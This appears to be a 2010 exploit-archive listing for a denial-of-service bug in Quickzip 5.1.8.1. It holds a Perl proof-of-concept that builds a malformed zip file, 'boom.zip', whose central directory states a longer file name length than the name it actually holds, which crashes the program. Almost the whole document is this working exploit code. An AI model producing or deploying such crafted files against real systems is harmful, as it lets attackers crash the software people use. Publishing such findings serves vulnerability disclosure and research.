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Quickzip 5.1.8.1 Denial Of Service

Quickzip 5.1.8.1 Denial Of Service
Posted Nov 3, 2010
Authored by moigai

Quickzip version 5.1.8.1 suffers from a denial of service vulnerability.

tags | exploit, denial of service
SHA-256 | 9bc3e905492bfb43e97401888d75dd4e853b3e460dad60a690f1c2c9622e8772

Quickzip 5.1.8.1 Denial Of Service

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# Exploit Title: Quickzip 5.1.8.1 Denial of Service Vulnerability
# Date: 2010/11/02
# Author: moigai
# e-mail: again.liu@gmail.com
# Version: 5.1.8.1
# Tested on: Windows XP SP3 En (VM)
# Greetz to: Yoji

my $file = "boom.zip";

my $localHeader =
"\x50\x4b\x03\x04" . #Local file header signature
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

my $centralDirHeader =
"\x50\x4b\x01\x02" . #central dir header signature
"\x14\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
"\x07\x00" . #file name length
"\x00\x00\x00\x00\x00\x00\x01\x00\x20\x00\x00\x00\x00\x00" .
"\x00\x00";

# The program crashes when the file name is shorter than the length specified above.
# In the case of length specified equals 0x7, the program crash when the actual length is smaller than 0x4
my $filename = "yyy";

my $endCentralDirHeader =
"\x50\x4b\x05\x06" . #end central dir header signature
"\x00\x00\x00\x00\x01\x00\x01\x00\x35\x00\x00\x00\x1e\x00" .
"\x00\x00\x00\x00";

my $zip = $localHeader . $centralDirHeader . $filename . $endCentralDirHeader;
print "\n[+] Creating zip file\n";
open(FILE, ">$file");
print FILE $zip;
close(FILE);
print "[+] File " . $file . " created\n";

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